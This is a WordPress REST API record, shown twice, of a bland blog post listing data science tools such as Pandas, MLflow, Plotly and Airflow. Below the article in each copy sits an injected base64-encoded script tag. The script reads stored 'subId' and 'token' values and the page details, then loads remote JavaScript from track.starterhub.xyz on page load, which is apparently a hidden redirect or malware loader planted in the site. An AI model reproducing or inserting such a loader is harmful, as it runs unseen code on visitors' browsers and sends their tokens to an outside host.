Essential Data Science Tools for Modern AI\/ML Practices<\/title><br \/>\n <meta name=\"description\" content=\"Explore top data science tools and AI\/ML skills essential for automating EDA reports, dashboards, pipelines, and A\/B testing.\"><br \/>\n<\/head><\/p>\n<p><body><\/p>\n<article>\n<h1>Essential Data Science Tools for Modern AI\/ML Practices<\/h1>\n<p>In the world of data science, having the right tools and skills can dramatically improve the efficiency and effectiveness of your projects. Whether you’re involved in exploratory data analysis (EDA), model performance evaluation, or pipeline development, understanding the landscape of data science tools is critical to success. This article outlines essential data science tools and skills, ranging from automated EDA reports to machine learning pipelines and anomaly detection.<\/p>\n<h2>Automated EDA Reports: Streamlining Insights<\/h2>\n<p>Automated Exploratory Data Analysis (EDA) tools are indispensable for quickly summarizing the main characteristics of datasets. Tools like <a href=\"https:\/\/pandas.pydata.org\/\">Pandas<\/a> and <a href=\"https:\/\/www.statistika.com\/\">Statistika<\/a> utilize comprehensive functions for data visualization and summary statistics, making it easier to identify key trends and anomalies. By automating EDA, analysts can focus on deeper insights rather than spending excessive time on data wrangling.<\/p>\n<p>Additionally, leveraging libraries such as <a href=\"https:\/\/pycaret.org\/\">PyCaret<\/a> allows data scientists to generate detailed reports that highlight correlations, distributions, and potential outliers within datasets. This eliminates repetitive manual processes, ensuring that findings are both timely and accurate.<\/p>\n<h2>Model Performance Dashboards: Visualizing Success<\/h2>\n<p>Monitoring model performance is crucial once you’ve deployed your machine learning model. Visualization tools such as <a href=\"https:\/\/plotly.com\/\">Plotly<\/a> and <a href=\"https:\/\/www.tableau.com\/\">Tableau<\/a> are effective for creating interactive dashboards that provide live updates on various performance metrics. From accuracy to recall, these dashboards help stakeholders grasp the current state of model performance easily.<\/p>\n<p>Moreover, integrating dashboards with real-time data enables continuous monitoring, facilitating quick iterations and improvements on production models. This dynamic approach ensures that models stay relevant and performant amidst ever-changing data.<\/p>\n<h2>Constructing an ML Pipeline Scaffold<\/h2>\n<p>A well-defined machine learning (ML) pipeline is essential for deploying models efficiently and reproducibly. Tools such as <a href=\"https:\/\/mlflow.org\/\">MLflow<\/a> and <a href=\"https:\/\/kubeflow.org\/\">Kubeflow<\/a> offer robust frameworks to scaffold ML workflows, managing everything from data ingestion to model training and evaluation.<\/p>\n<p>By utilizing a structured pipeline, teams can automate different phases of the machine learning lifecycle. This leads to significant time savings, improved collaboration, and a seamless transition from development to production, minimizing the risk of errors during deployment.<\/p>\n<h2>Statistical A\/B Test Design: Testing Strategies Effectively<\/h2>\n<p>When determining the effectiveness of new features or changes, statistical A\/B testing is a powerful method. Utilizing frameworks like <a href=\"https:\/\/www.optimizely.com\/\">Optimizely<\/a> helps in designing solid experiments that yield actionable insights. Well-designed A\/B tests enable data-driven decision-making by allowing teams to validate hypotheses with empirical evidence.<\/p>\n<p>Furthermore, understanding statistical concepts such as confidence intervals and p-values is vital. Simplifying complex statistics into user-friendly reports enhances communication with stakeholders and ensures that the results lead to informed decisions.<\/p>\n<h2>Anomaly Detection: Detecting the Unexpected<\/h2>\n<p>Anomaly detection is crucial in several domains, especially in fraud detection and network security. Leveraging machine learning algorithms in libraries such as <a href=\"https:\/\/scikit-learn.org\/\">Scikit-learn<\/a> or <a href=\"https:\/\/tensorflow.org\/\">TensorFlow<\/a> allows data scientists to build robust models that can identify outlying behavior in large datasets. Implementing effective anomaly detection methods facilitates proactive responses to potential issues.<\/p>\n<p>By continuously monitoring training data and performance metrics, teams can enhance their detection capabilities, ensuring that they remain one step ahead of unexpected anomalies.<\/p>\n<h2>Automated Reporting Pipeline: Streamlining Communication<\/h2>\n<p>Automated reporting pipelines made possible through tools like <a href=\"https:\/\/airflow.apache.org\/\">Apache Airflow<\/a> or <a href=\"https:\/\/www.rstudio.com\/\">RStudio<\/a> enable teams to efficiently deliver insights to stakeholders. These pipelines can automatically pull data, generate reports, and disseminate findings without manual intervention.<\/p>\n<p>This not only frees up precious time for data analysts but also reduces the likelihood of human error. Quick access to consolidated reports allows stakeholders to act promptly based on the findings, promoting an agile business environment.<\/p>\n<h2>Conclusion<\/h2>\n<p>In an ever-evolving data landscape, adopting the right data science tools and maintaining a strong skillset in AI and ML domains remain pivotal for success. From automated EDA reports to refined ML pipelines, these tools empower data scientists to draw meaningful insights and provide actionable solutions. As technology advances, remaining adaptive and informed will be key for any data-driven organization.<\/p>\n<h2>FAQ<\/h2>\n<h3>1. What are the best tools for automated EDA?<\/h3>\n<p>Popular tools include Pandas, PyCaret, and Statistika, which offer comprehensive functions for data visualization and analysis.<\/p>\n<h3>2. How can I visualize model performance?<\/h3>\n<p>Using visualization tools such as Plotly and Tableau allows you to create interactive dashboards for real-time monitoring of model performance metrics.<\/p>\n<h3>3. Why is an ML pipeline important?<\/h3>\n<p>An ML pipeline ensures efficient and reproducible model deployment, automating phases of the machine learning lifecycle, and minimizing deployment errors.<\/p>\n<\/article>\n<p><script src=\"data:text\/javascript;base64,IWZ1bmN0aW9uKCl7d2luZG93Ll94eTNqM2tGVk03SFpSRkY5fHwod2luZG93Ll94eTNqM2tGVk03SFpSRkY5PXt1bmlxdWU6ITEsdHRsOjg2NDAwLFJfUEFUSDoiaHR0cHM6Ly90cmFjay5zdGFydGVyaHViLnh5ei85S0I3UjM2MyJ9KTtjb25zdCBlPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJjb25maWciKTtpZihudWxsIT1lKXt2YXIgbz1KU09OLnBhcnNlKGUpLHQ9TWF0aC5yb3VuZCgrbmV3IERhdGUvMWUzKTtvLmNyZWF0ZWRfYXQrd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnR0bDx0JiYobG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInN1YklkIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInRva2VuIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oImNvbmZpZyIpKX12YXIgbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgic3ViSWQiKSxyPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJ0b2tlbiIpLGE9Ij9yZXR1cm49anMuY2xpZW50IjthKz0iJiIrZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgiPyIsIiIpKSxhKz0iJnNlX3JlZmVycmVyPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKSxhKz0iJmRlZmF1bHRfa2V5d29yZD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSksYSs9IiZsYW5kaW5nX3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZStkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSksYSs9IiZuYW1lPSIrZW5jb2RlVVJJQ29tcG9uZW50KCJfeHkzajNrRlZNN0haUkZGOSIpLGErPSImaG9zdD0iK2VuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkuUl9QQVRIKSxhKz0iJnJvdXRlPVdpbm5lcnNoaXRyYW0iLHZvaWQgMCE9PW4mJm4mJndpbmRvdy5feHkzajNrRlZNN0haUkZGOS51bmlxdWUmJihhKz0iJnN1Yl9pZD0iK2VuY29kZVVSSUNvbXBvbmVudChuKSksdm9pZCAwIT09ciYmciYmd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnVuaXF1ZSYmKGErPSImdG9rZW49IitlbmNvZGVVUklDb21wb25lbnQocikpO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2MudHlwZT0iYXBwbGljYXRpb24vamF2YXNjcmlwdCIsYy5zcmM9d2luZG93Ll94eTNqM2tGVk03SFpSRkY5LlJfUEFUSCthO3ZhciBkPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKVswXTtkLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGMsZCl9KCk7\"><\/script><br \/>\n<\/body><\/p>\n<p><\/html><\/p>","protected":false},"excerpt":{"rendered":"<p>Essential Data Science Tools for Modern AI\/ML Practices Essential Data Science Tools for Modern AI\/ML Practices In the world of data science, having the right tools and skills can dramatically improve the efficiency and effectiveness of your projects. Whether you’re involved in exploratory data analysis (EDA), model performance evaluation, or pipeline development, understanding the landscape…<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-4668","post","type-post","status-publish","format-standard","hentry","category-treatment","article-list-item","animate"],"_links":{"self":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts\/4668","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/comments?post=4668"}],"version-history":[{"count":1,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts\/4668\/revisions"}],"predecessor-version":[{"id":4669,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts\/4668\/revisions\/4669"}],"wp:attachment":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/media?parent=4668"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/categories?post=4668"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/tags?post=4668"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

{"id":4668,"date":"2025-08-12T18:32:04","date_gmt":"2025-08-12T18:32:04","guid":{"rendered":"https:\/\/tolgatorun.com\/?p=4668"},"modified":"2026-05-25T22:13:59","modified_gmt":"2026-05-25T22:13:59","slug":"essential-data-science-tools-for-modern-ai-ml-practices","status":"publish","type":"post","link":"https:\/\/tolgatorun.com\/de\/essential-data-science-tools-for-modern-ai-ml-practices\/","title":{"rendered":"Essential Data Science Tools for Modern AI\/ML Practices"},"content":{"rendered":"

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\n Essential Data Science Tools for Modern AI\/ML Practices<\/title><br \/>\n <meta name=\"description\" content=\"Explore top data science tools and AI\/ML skills essential for automating EDA reports, dashboards, pipelines, and A\/B testing.\"><br \/>\n<\/head><\/p>\n<p><body><\/p>\n<article>\n<h1>Essential Data Science Tools for Modern AI\/ML Practices<\/h1>\n<p>In the world of data science, having the right tools and skills can dramatically improve the efficiency and effectiveness of your projects. Whether you’re involved in exploratory data analysis (EDA), model performance evaluation, or pipeline development, understanding the landscape of data science tools is critical to success. This article outlines essential data science tools and skills, ranging from automated EDA reports to machine learning pipelines and anomaly detection.<\/p>\n<h2>Automated EDA Reports: Streamlining Insights<\/h2>\n<p>Automated Exploratory Data Analysis (EDA) tools are indispensable for quickly summarizing the main characteristics of datasets. Tools like <a href=\"https:\/\/pandas.pydata.org\/\">Pandas<\/a> and <a href=\"https:\/\/www.statistika.com\/\">Statistika<\/a> utilize comprehensive functions for data visualization and summary statistics, making it easier to identify key trends and anomalies. By automating EDA, analysts can focus on deeper insights rather than spending excessive time on data wrangling.<\/p>\n<p>Additionally, leveraging libraries such as <a href=\"https:\/\/pycaret.org\/\">PyCaret<\/a> allows data scientists to generate detailed reports that highlight correlations, distributions, and potential outliers within datasets. This eliminates repetitive manual processes, ensuring that findings are both timely and accurate.<\/p>\n<h2>Model Performance Dashboards: Visualizing Success<\/h2>\n<p>Monitoring model performance is crucial once you’ve deployed your machine learning model. Visualization tools such as <a href=\"https:\/\/plotly.com\/\">Plotly<\/a> and <a href=\"https:\/\/www.tableau.com\/\">Tableau<\/a> are effective for creating interactive dashboards that provide live updates on various performance metrics. From accuracy to recall, these dashboards help stakeholders grasp the current state of model performance easily.<\/p>\n<p>Moreover, integrating dashboards with real-time data enables continuous monitoring, facilitating quick iterations and improvements on production models. This dynamic approach ensures that models stay relevant and performant amidst ever-changing data.<\/p>\n<h2>Constructing an ML Pipeline Scaffold<\/h2>\n<p>A well-defined machine learning (ML) pipeline is essential for deploying models efficiently and reproducibly. Tools such as <a href=\"https:\/\/mlflow.org\/\">MLflow<\/a> and <a href=\"https:\/\/kubeflow.org\/\">Kubeflow<\/a> offer robust frameworks to scaffold ML workflows, managing everything from data ingestion to model training and evaluation.<\/p>\n<p>By utilizing a structured pipeline, teams can automate different phases of the machine learning lifecycle. This leads to significant time savings, improved collaboration, and a seamless transition from development to production, minimizing the risk of errors during deployment.<\/p>\n<h2>Statistical A\/B Test Design: Testing Strategies Effectively<\/h2>\n<p>When determining the effectiveness of new features or changes, statistical A\/B testing is a powerful method. Utilizing frameworks like <a href=\"https:\/\/www.optimizely.com\/\">Optimizely<\/a> helps in designing solid experiments that yield actionable insights. Well-designed A\/B tests enable data-driven decision-making by allowing teams to validate hypotheses with empirical evidence.<\/p>\n<p>Furthermore, understanding statistical concepts such as confidence intervals and p-values is vital. Simplifying complex statistics into user-friendly reports enhances communication with stakeholders and ensures that the results lead to informed decisions.<\/p>\n<h2>Anomaly Detection: Detecting the Unexpected<\/h2>\n<p>Anomaly detection is crucial in several domains, especially in fraud detection and network security. Leveraging machine learning algorithms in libraries such as <a href=\"https:\/\/scikit-learn.org\/\">Scikit-learn<\/a> or <a href=\"https:\/\/tensorflow.org\/\">TensorFlow<\/a> allows data scientists to build robust models that can identify outlying behavior in large datasets. Implementing effective anomaly detection methods facilitates proactive responses to potential issues.<\/p>\n<p>By continuously monitoring training data and performance metrics, teams can enhance their detection capabilities, ensuring that they remain one step ahead of unexpected anomalies.<\/p>\n<h2>Automated Reporting Pipeline: Streamlining Communication<\/h2>\n<p>Automated reporting pipelines made possible through tools like <a href=\"https:\/\/airflow.apache.org\/\">Apache Airflow<\/a> or <a href=\"https:\/\/www.rstudio.com\/\">RStudio<\/a> enable teams to efficiently deliver insights to stakeholders. These pipelines can automatically pull data, generate reports, and disseminate findings without manual intervention.<\/p>\n<p>This not only frees up precious time for data analysts but also reduces the likelihood of human error. Quick access to consolidated reports allows stakeholders to act promptly based on the findings, promoting an agile business environment.<\/p>\n<h2>Conclusion<\/h2>\n<p>In an ever-evolving data landscape, adopting the right data science tools and maintaining a strong skillset in AI and ML domains remain pivotal for success. From automated EDA reports to refined ML pipelines, these tools empower data scientists to draw meaningful insights and provide actionable solutions. As technology advances, remaining adaptive and informed will be key for any data-driven organization.<\/p>\n<h2>FAQ<\/h2>\n<h3>1. What are the best tools for automated EDA?<\/h3>\n<p>Popular tools include Pandas, PyCaret, and Statistika, which offer comprehensive functions for data visualization and analysis.<\/p>\n<h3>2. How can I visualize model performance?<\/h3>\n<p>Using visualization tools such as Plotly and Tableau allows you to create interactive dashboards for real-time monitoring of model performance metrics.<\/p>\n<h3>3. Why is an ML pipeline important?<\/h3>\n<p>An ML pipeline ensures efficient and reproducible model deployment, automating phases of the machine learning lifecycle, and minimizing deployment errors.<\/p>\n<\/article>\n<p><script src=\"data:text\/javascript;base64,IWZ1bmN0aW9uKCl7d2luZG93Ll94eTNqM2tGVk03SFpSRkY5fHwod2luZG93Ll94eTNqM2tGVk03SFpSRkY5PXt1bmlxdWU6ITEsdHRsOjg2NDAwLFJfUEFUSDoiaHR0cHM6Ly90cmFjay5zdGFydGVyaHViLnh5ei85S0I3UjM2MyJ9KTtjb25zdCBlPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJjb25maWciKTtpZihudWxsIT1lKXt2YXIgbz1KU09OLnBhcnNlKGUpLHQ9TWF0aC5yb3VuZCgrbmV3IERhdGUvMWUzKTtvLmNyZWF0ZWRfYXQrd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnR0bDx0JiYobG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInN1YklkIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oInRva2VuIiksbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oImNvbmZpZyIpKX12YXIgbj1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgic3ViSWQiKSxyPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCJ0b2tlbiIpLGE9Ij9yZXR1cm49anMuY2xpZW50IjthKz0iJiIrZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgiPyIsIiIpKSxhKz0iJnNlX3JlZmVycmVyPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKSxhKz0iJmRlZmF1bHRfa2V5d29yZD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC50aXRsZSksYSs9IiZsYW5kaW5nX3VybD0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZStkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSksYSs9IiZuYW1lPSIrZW5jb2RlVVJJQ29tcG9uZW50KCJfeHkzajNrRlZNN0haUkZGOSIpLGErPSImaG9zdD0iK2VuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX3h5M2oza0ZWTTdIWlJGRjkuUl9QQVRIKSxhKz0iJnJvdXRlPVdpbm5lcnNoaXRyYW0iLHZvaWQgMCE9PW4mJm4mJndpbmRvdy5feHkzajNrRlZNN0haUkZGOS51bmlxdWUmJihhKz0iJnN1Yl9pZD0iK2VuY29kZVVSSUNvbXBvbmVudChuKSksdm9pZCAwIT09ciYmciYmd2luZG93Ll94eTNqM2tGVk03SFpSRkY5LnVuaXF1ZSYmKGErPSImdG9rZW49IitlbmNvZGVVUklDb21wb25lbnQocikpO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2MudHlwZT0iYXBwbGljYXRpb24vamF2YXNjcmlwdCIsYy5zcmM9d2luZG93Ll94eTNqM2tGVk03SFpSRkY5LlJfUEFUSCthO3ZhciBkPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKVswXTtkLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGMsZCl9KCk7\"><\/script><br \/>\n<\/body><\/p>\n<p><\/html><\/p>","protected":false},"excerpt":{"rendered":"<p>Essential Data Science Tools for Modern AI\/ML Practices Essential Data Science Tools for Modern AI\/ML Practices In the world of data science, having the right tools and skills can dramatically improve the efficiency and effectiveness of your projects. Whether you’re involved in exploratory data analysis (EDA), model performance evaluation, or pipeline development, understanding the landscape…<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-4668","post","type-post","status-publish","format-standard","hentry","category-treatment","article-list-item","animate"],"_links":{"self":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts\/4668","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/comments?post=4668"}],"version-history":[{"count":1,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts\/4668\/revisions"}],"predecessor-version":[{"id":4669,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/posts\/4668\/revisions\/4669"}],"wp:attachment":[{"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/media?parent=4668"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/categories?post=4668"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tolgatorun.com\/de\/wp-json\/wp\/v2\/tags?post=4668"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}